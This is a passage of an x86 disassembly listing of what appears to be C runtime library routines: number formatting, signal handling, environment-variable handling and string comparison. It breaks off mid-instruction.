sub_4256C2+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_4250CF lea eax, [ebp+var_10] push eax call sub_4250CF lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_425071 lea eax, [ebp+var_10] push eax call sub_4250CF mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_4258A3 mov eax, [ebp+arg_14] loc_4258F0: ; CODE XREF: sub_4256C2+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_42592D loc_4258FD: ; CODE XREF: sub_4256C2+248j cmp eax, ecx jb short loc_425910 cmp byte ptr [eax], 39h jnz short loc_42590C mov byte ptr [eax], 30h dec eax jmp short loc_4258FD ; --------------------------------------------------------------------------- loc_42590C: ; CODE XREF: sub_4256C2+242j cmp eax, ecx jnb short loc_425914 loc_425910: ; CODE XREF: sub_4256C2+23Dj inc eax inc word ptr [ebx] loc_425914: ; CODE XREF: sub_4256C2+24Cj inc byte ptr [eax] loc_425916: ; CODE XREF: sub_4256C2+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425925: ; CODE XREF: sub_4256C2+F0j mov eax, [ebp+var_4] loc_425928: ; CODE XREF: sub_4256C2+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42592D: ; CODE XREF: sub_4256C2+239j ; sub_4256C2+275j cmp eax, ecx jb short loc_42593D cmp byte ptr [eax], 30h jnz short loc_425939 dec eax jmp short loc_42592D ; --------------------------------------------------------------------------- loc_425939: ; CODE XREF: sub_4256C2+272j cmp eax, ecx jnb short loc_425916 loc_42593D: ; CODE XREF: sub_4256C2+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_42594C: ; CODE XREF: sub_4256C2+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425928 sub_4256C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425955 proc near ; CODE XREF: sub_42255C+226Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_4259BC dec eax dec eax jz short loc_4259AD sub eax, 4 jz short loc_4259AD sub eax, 3 jz short loc_4259AD sub eax, 4 jz short loc_4259A0 sub eax, 6 jz short loc_425993 dec eax jz short loc_425986 or eax, 0FFFFFFFFh jmp loc_425A7E ; --------------------------------------------------------------------------- loc_425986: ; CODE XREF: sub_425955+27j mov esi, dword_4DB5AC mov eax, offset dword_4DB5AC jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_425993: ; CODE XREF: sub_425955+24j mov esi, dword_4DB5A8 mov eax, offset dword_4DB5A8 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259A0: ; CODE XREF: sub_425955+1Fj mov esi, dword_4DB5B0 mov eax, offset dword_4DB5B0 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259AD: ; CODE XREF: sub_425955+10j ; sub_425955+15j ... push edi call sub_425A82 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259BC: ; CODE XREF: sub_425955+Cj mov esi, dword_4DB5A4 mov eax, offset dword_4DB5A4 loc_4259C7: ; CODE XREF: sub_425955+3Cj ; sub_425955+49j ... cmp esi, 1 jnz short loc_4259D3 xor eax, eax jmp loc_425A7E ; --------------------------------------------------------------------------- loc_4259D3: ; CODE XREF: sub_425955+75j test esi, esi jnz short loc_4259DE push 3 call sub_41B7C2 loc_4259DE: ; CODE XREF: sub_425955+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_4259F0 cmp edi, 0Bh jz short loc_4259F0 cmp edi, 4 jnz short loc_425A16 loc_4259F0: ; CODE XREF: sub_425955+8Fj ; sub_425955+94j mov ebx, dword_4DB380 and dword_4DB380, 0 cmp edi, ecx jnz short loc_425A45 mov edx, dword_43C97C mov dword_43C97C, 8Ch mov [ebp+arg_0], edx jmp short loc_425A19 ; --------------------------------------------------------------------------- loc_425A16: ; CODE XREF: sub_425955+99j mov ebx, [ebp+arg_0] loc_425A19: ; CODE XREF: sub_425955+BFj cmp edi, ecx jnz short loc_425A45 mov eax, dword_43C970 mov ecx, dword_43C974 add ecx, eax cmp eax, ecx jge short loc_425A4C lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43C900h[edx*4] loc_425A3A: ; CODE XREF: sub_425955+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425A3A jmp short loc_425A4C ; --------------------------------------------------------------------------- loc_425A45: ; CODE XREF: sub_425955+AAj ; sub_425955+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425A5A loc_425A4C: ; CODE XREF: sub_425955+D7j ; sub_425955+EEj push dword_43C97C push 8 call esi pop ecx pop ecx jmp short loc_425A68 ; --------------------------------------------------------------------------- loc_425A5A: ; CODE XREF: sub_425955+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_425A68 cmp edi, 4 jnz short loc_425A7B loc_425A68: ; CODE XREF: sub_425955+103j ; sub_425955+10Cj cmp edi, 8 mov dword_4DB380, ebx jnz short loc_425A7B mov eax, [ebp+arg_0] mov dword_43C97C, eax loc_425A7B: ; CODE XREF: sub_425955+111j ; sub_425955+11Cj xor eax, eax pop ebx loc_425A7E: ; CODE XREF: sub_425955+2Cj ; sub_425955+79j pop edi pop esi pop ebp retn sub_425955 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425A82 proc near ; CODE XREF: sub_425955+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43C978 cmp dword_43C8FC, edx push esi mov eax, offset dword_43C8F8 jz short loc_425AB0 lea esi, [ecx+ecx*2] lea esi, ds:43C8F8h[esi*4] loc_425AA4: ; CODE XREF: sub_425A82+2Cj add eax, 0Ch cmp eax, esi jnb short loc_425AB0 cmp [eax+4], edx jnz short loc_425AA4 loc_425AB0: ; CODE XREF: sub_425A82+16j ; sub_425A82+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43C8F8h[ecx*4] cmp eax, ecx jnb short loc_425AC4 cmp [eax+4], edx jz short locret_425AC6 loc_425AC4: ; CODE XREF: sub_425A82+3Bj xor eax, eax locret_425AC6: ; CODE XREF: sub_425A82+40j retn sub_425A82 endp ; =============== S U B R O U T I N E ======================================= sub_425AC7 proc near ; CODE XREF: sub_4247EC+23p arg_0 = dword ptr 4 cmp dword_4DC950, 0 push ebx push esi mov esi, dword_4DB2D0 push edi jz short loc_425B3E test esi, esi jnz short loc_425AF8 cmp dword_4DB2D8, esi jz short loc_425B3E call sub_425E95 test eax, eax jnz short loc_425B3E mov esi, dword_4DB2D0 test esi, esi jz short loc_425B3E loc_425AF8: ; CODE XREF: sub_425AC7+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_425B3E push ebx call sub_41AFE0 pop ecx mov edi, eax loc_425B09: ; CODE XREF: sub_425AC7+6Dj mov eax, [esi] test eax, eax jz short loc_425B3E push eax call sub_41AFE0 cmp eax, edi pop ecx jbe short loc_425B31 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_425B31 push edi push ebx push eax call sub_425E56 add esp, 0Ch test eax, eax jz short loc_425B36 loc_425B31: ; CODE XREF: sub_425AC7+51j ; sub_425AC7+59j add esi, 4 jmp short loc_425B09 ; --------------------------------------------------------------------------- loc_425B36: ; CODE XREF: sub_425AC7+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_425B40 ; --------------------------------------------------------------------------- loc_425B3E: ; CODE XREF: sub_425AC7+10j ; sub_425AC7+1Cj ... xor eax, eax loc_425B40: ; CODE XREF: sub_425AC7+75j pop edi pop esi pop ebx retn sub_425AC7 endp ; =============== S U B R O U T I N E ======================================= sub_425B44 proc near ; CODE XREF: sub_424F0A+8Bp ; sub_424F0A+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DC700 jnb short loc_425BAB mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC600[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_425BAB mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_425B84 and cl, 7Fh jmp short loc_425B91 ; --------------------------------------------------------------------------- loc_425B84: ; CODE XREF: sub_425B44+39j cmp [esp+4+arg_4], 4000h jnz short loc_425B9F or cl, 80h loc_425B91: ; CODE XREF: sub_425B44+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_425B9F: ; CODE XREF: sub_425B44+48j mov dword_4DB2A8, 16h jmp short loc_425BB5 ; --------------------------------------------------------------------------- loc_425BAB: ; CODE XREF: sub_425B44+Bj ; sub_425B44+27j mov dword_4DB2A8, 9 loc_425BB5: ; CODE XREF: sub_425B44+65j or eax, 0FFFFFFFFh pop esi retn sub_425B44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425BBA proc near ; CODE XREF: sub_4256C2+165p ; sub_425DDA+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_425DBA cmp cx, 7FFFh jnb loc_425DBA cmp dx, 0BFFDh ja loc_425DBA cmp dx, 3FBFh ja short loc_425C23 xor eax, eax jmp short loc_425C5D ; --------------------------------------------------------------------------- loc_425C23: ; CODE XREF: sub_425BBA+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425C45 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425C45 xor eax, eax cmp [esi+4], eax jnz short loc_425C47 cmp [esi], eax jnz short loc_425C47 jmp loc_425DB4 ; --------------------------------------------------------------------------- loc_425C45: ; CODE XREF: sub_425BBA+71j ; sub_425BBA+79j xor eax, eax loc_425C47: ; CODE XREF: sub_425BBA+80j ; sub_425BBA+84j cmp cx, ax jnz short loc_425C6A inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425C6A cmp [ebx+4], eax jnz short loc_425C6A cmp [ebx], eax jnz short loc_425C6A loc_425C5D: ; CODE XREF: sub_425BBA+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_425DD5 ; --------------------------------------------------------------------------- loc_425C6A: ; CODE XREF: sub_425BBA+90j ; sub_425BBA+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425C7A: ; CODE XREF: sub_425BBA+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425CCE add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425C96: ; CODE XREF: sub_425BBA+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_425050 add esp, 0Ch test eax, eax jz short loc_425CC1 mov eax, [ebp+var_4] inc word ptr [eax] loc_425CC1: ; CODE XREF: sub_425BBA+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425C96 loc_425CCE: ; CODE XREF: sub_425BBA+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425C7A add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425D11 loc_425CEC: ; CODE XREF: sub_425BBA+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425D0A lea eax, [ebp+var_24] push eax call sub_4250CF add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_425CEC loc_425D0A: ; CODE XREF: sub_425BBA+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425D4A loc_425D11: ; CODE XREF: sub_425BBA+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425D4A movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425D2A: ; CODE XREF: sub_425BBA+184j test byte ptr [ebp+var_24], 1 jz short loc_425D33 inc [ebp+var_14] loc_425D33: ; CODE XREF: sub_425BBA+174j lea eax, [ebp+var_24] push eax call sub_4250FD dec ebx pop ecx jnz short loc_425D2A cmp [ebp+var_14], 0 jz short loc_425D4A or byte ptr [ebp+var_24], 1 loc_425D4A: ; CODE XREF: sub_425BBA+155j ; sub_425BBA+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425D61 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425D96 loc_425D61: ; CODE XREF: sub_425BBA+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425D93 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425D8E and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425D88 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D88: ; CODE XREF: sub_425BBA+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D8E: ; CODE XREF: sub_425BBA+1B5j inc [ebp+var_20+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D93: ; CODE XREF: sub_425BBA+1ABj inc [ebp+var_24+2] loc_425D96: ; CODE XREF: sub_425BBA+1A5j ; sub_425BBA+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_425DBA mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_425DB4: ; CODE XREF: sub_425BBA+86j mov [esi+0Ah], ax jmp short loc_425DD5 ; --------------------------------------------------------------------------- loc_425DBA: ; CODE XREF: sub_425BBA+42j ; sub_425BBA+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_425DD5: ; CODE XREF: sub_425BBA+ABj ; sub_425BBA+1FEj pop edi pop esi pop ebx leave retn sub_425BBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425DDA proc near ; CODE XREF: sub_4251F1+440p ; sub_4256C2+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43CDF8 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_425E53 jge short loc_425E02 mov eax, [ebp+arg_4] mov ebx, offset dword_43CF58 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_425E02: ; CODE XREF: sub_425DDA+16j cmp [ebp+arg_8], ecx jnz short loc_425E0D mov eax, [ebp+arg_0] mov [eax], cx loc_425E0D: ; CODE XREF: sub_425DDA+2Bj cmp [ebp+arg_4], ecx jz short loc_425E53 push esi push edi loc_425E14: ; CODE XREF: sub_425DDA+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_425E4C lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_425E3F lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_425E3F: ; CODE XREF: sub_425DDA+57j push esi push [ebp+arg_0] call sub_425BBA pop ecx pop ecx xor ecx, ecx loc_425E4C: ; CODE XREF: sub_425DDA+49j cmp [ebp+arg_4], ecx jnz short loc_425E14 pop edi pop esi loc_425E53: ; CODE XREF: sub_425DDA+14j ; sub_425DDA+36j pop ebx leave retn sub_425DDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425E56 proc near ; CODE XREF: sub_425AC7+5Ep ; sub_426332+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_425E63 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_425E63: ; CODE XREF: sub_425E56+7j push dword_4DC704 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_4DC924 call sub_425F03 add esp, 1Ch test eax, eax jnz short loc_425E90 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_425E90: ; CODE XREF: sub_425E56+31j add eax, 0FFFFFFFEh pop ebp retn sub_425E56 endp ; =============== S U B R O U T I N E ======================================= sub_425E95 proc near ; CODE XREF: sub_425AC7+1Ep ; sub_4261AB+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4DB2D8 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_425EF6 mov ebx, dword_42717C loc_425EAE: ; CODE XREF: sub_425E95+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_425EFE push ebp call sub_41B4D5 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_425EFE push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_425EFE push edi push [esp+18h+var_4] call sub_4261AB mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_425EAE loc_425EF6: ; CODE XREF: sub_425E95+11j xor eax, eax loc_425EF8: ; CODE XREF: sub_425E95+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_425EFE: ; CODE XREF: sub_425E95+29j ; sub_425E95+38j ... or eax, 0FFFFFFFFh jmp short loc_425EF8 sub_425E95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425F03 proc near ; CODE XREF: sub_425E56+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427CF0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4DB5B8, ebx push 1 pop edi jnz short loc_425F76 push edi mov eax, offset dword_427940 push eax push edi push eax push ebx push ebx nop call near ptr 25F0000h test eax, eax jz short loc_425F53 mov dword_4DB5B8, edi jmp short loc_425F76 ; --------------------------------------------------------------------------- loc_425F53: ; CODE XREF: sub_425F03+46j push edi mov eax, offset dword_4CAE5C push eax push edi push eax push ebx push ebx nop call near ptr 25F0617h test eax, eax jz loc_42616C mov dword_4DB5B8, 2 loc_425F76: ; CODE XREF: sub_425F03+31j ; sub_425F03+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_425F8D push esi push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_425F8D: ; CODE XREF: sub_425F03+78j cmp [ebp+arg_14], ebx jle short loc_425FA2 push [ebp+arg_14] push [ebp+arg_10] call sub_426180 pop ecx pop ecx mov [ebp+arg_14], eax loc_425FA2: ; CODE XREF: sub_425F03+8Dj mov eax, dword_4DB5B8 cmp eax, 2 jnz short loc_425FC7 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 25F0617h nop jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FC7: ; CODE XREF: sub_425F03+A7j cmp eax, edi jnz loc_42616C cmp [ebp+arg_18], ebx jnz short loc_425FDC mov eax, dword_4DB374 mov [ebp+arg_18], eax loc_425FDC: ; CODE XREF: sub_425F03+CFj cmp esi, ebx jz short loc_425FE9 cmp [ebp+arg_14], ebx jnz loc_426081 loc_425FE9: ; CODE XREF: sub_425F03+DBj cmp esi, [ebp+arg_14] jnz short loc_425FF6 loc_425FEE: ; CODE XREF: sub_425F03+13Cj ; sub_425F03+16Dj push 2 loc_425FF0: ; CODE XREF: sub_425F03+146j pop eax jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FF6: ; CODE XREF: sub_425F03+E9j cmp [ebp+arg_14], edi jle short loc_426002 loc_425FFB: ; CODE XREF: sub_425F03+151j ; sub_425F03+159j ... mov eax, edi jmp loc_42616E ; --------------------------------------------------------------------------- loc_426002: ; CODE XREF: sub_425F03+F6j cmp esi, edi jg short loc_426047 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call near ptr 28C04D4h nop test eax, eax jz loc_42616C cmp esi, ebx jle short loc_42604B cmp [ebp+var_3C], 2 jb short loc_426047 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_426047 loc_42602D: ; CODE XREF: sub_425F03+142j mov dl, [eax+1] cmp dl, bl jz short loc_426047 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_426041 cmp cl, dl jbe short loc_425FEE loc_426041: ; CODE XREF: sub_425F03+138j inc eax inc eax cmp [eax], bl jnz short loc_42602D loc_426047: ; CODE XREF: sub_425F03+101j ; sub_425F03+120j ... push 3 jmp short loc_425FF0 ; --------------------------------------------------------------------------- loc_42604B: ; CODE XREF: sub_425F03+11Aj cmp [ebp+arg_14], ebx jle short loc_426081 cmp [ebp+var_3C], 2 jb short loc_425FFB lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_425FFB loc_42605E: ; CODE XREF: sub_425F03+177j mov dl, [eax+1] cmp dl, bl jz short loc_425FFB mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_426076 cmp cl, dl jbe loc_425FEE loc_426076: ; CODE XREF: sub_425F03+169j inc eax inc eax cmp [eax], bl jnz short loc_42605E jmp loc_425FFB ; --------------------------------------------------------------------------- loc_426081: ; CODE XREF: sub_425F03+E0j ; sub_425F03+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] nop call near ptr 2830000h mov [ebp+var_1C], eax cmp eax, ebx jz loc_42616C mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4260D0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4260D0: ; CODE XREF: sub_425F03+1B5j cmp [ebp+var_24], ebx jz loc_42616C push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_427180 call esi test eax, eax jz short loc_42616C push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_42616C mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_42613B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_42613B: ; CODE XREF: sub_425F03+224j cmp edi, ebx jz short loc_42616C push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] nop call near ptr 2830000h test eax, eax jz short loc_42616C push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25F0000h jmp short loc_42616E ; --------------------------------------------------------------------------- loc_42616C: ; CODE XREF: sub_425F03+63j ; sub_425F03+C6j ... xor eax, eax loc_42616E: ; CODE XREF: sub_425F03+BFj ; sub_425F03+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_425F03 endp ; =============== S U B R O U T I N E ======================================= sub_426180 proc near ; CODE XREF: sub_422ACA+81p ; sub_425F03+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_42619D loc_426190: ; CODE XREF: sub_426180+1Bj cmp byte ptr [eax], 0 jz short loc_42619D inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_426190 loc_42619D: ; CODE XREF: sub_426180+Ej ; sub_426180+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4261A8 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4261A8: ; CODE XREF: sub_426180+21j mov eax, edx retn sub_426180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4261AB proc near ; CODE XREF: sub_425E95+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_42620F push 3Dh push [ebp+arg_0] call sub_4263F1 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_42620F cmp [ebp+arg_0], esi jz short loc_42620F mov eax, dword_4DB2D0 xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4DB2D4 jnz short loc_4261F5 push eax call sub_42638A pop ecx mov dword_4DB2D0, eax loc_4261F5: ; CODE XREF: sub_4261AB+3Cj cmp eax, edi jnz short loc_42624D cmp [ebp+arg_4], edi jz short loc_426217 cmp dword_4DB2D8, edi jz short loc_426217 call sub_425E95 test eax, eax jz short loc_42624D loc_42620F: ; CODE XREF: sub_4261AB+Dj ; sub_4261AB+22j ... or eax, 0FFFFFFFFh loc_426212: ; CODE XREF: sub_4261AB+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_426217: ; CODE XREF: sub_4261AB+51j ; sub_4261AB+59j cmp ebx, edi jnz loc_42632B push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB2D0, eax jz short loc_42620F mov [eax], edi cmp dword_4DB2D8, edi jnz short loc_42624D push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB2D8, eax jz short loc_42620F mov [eax], edi loc_42624D: ; CODE XREF: sub_4261AB+4Cj ; sub_4261AB+62j ... sub esi, [ebp+arg_0] mov edi, dword_4DB2D0 mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_426332 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_4262AD cmp dword ptr [edi], 0 jz short loc_4262AD test ebx, ebx jz short loc_4262A5 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_41B0B1 pop ecx loc_42627F: ; CODE XREF: sub_4261AB+E2j cmp dword ptr [edi], 0 jz short loc_42628F mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_42627F ; --------------------------------------------------------------------------- loc_42628F: ; CODE XREF: sub_4261AB+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41B202 pop ecx test eax, eax pop ecx jz short loc_4262DF jmp short loc_4262DA ; --------------------------------------------------------------------------- loc_4262A5: ; CODE XREF: sub_4261AB+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4262DF ; --------------------------------------------------------------------------- loc_4262AD: ; CODE XREF: sub_4261AB+BDj ; sub_4261AB+C2j test ebx, ebx jnz short loc_42632B test esi, esi jge short loc_4262B7 neg esi loc_4262B7: ; CODE XREF: sub_4261AB+108j lea eax, ds:8[esi*4] push eax push edi call sub_41B202 pop ecx test eax, eax pop ecx jz loc_42620F mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4262DA: ; CODE XREF: sub_4261AB+F8j mov dword_4DB2D0, eax loc_4262DF: ; CODE XREF: sub_4261AB+F6j ; sub_4261AB+100j cmp [ebp+arg_4], 0 jz short 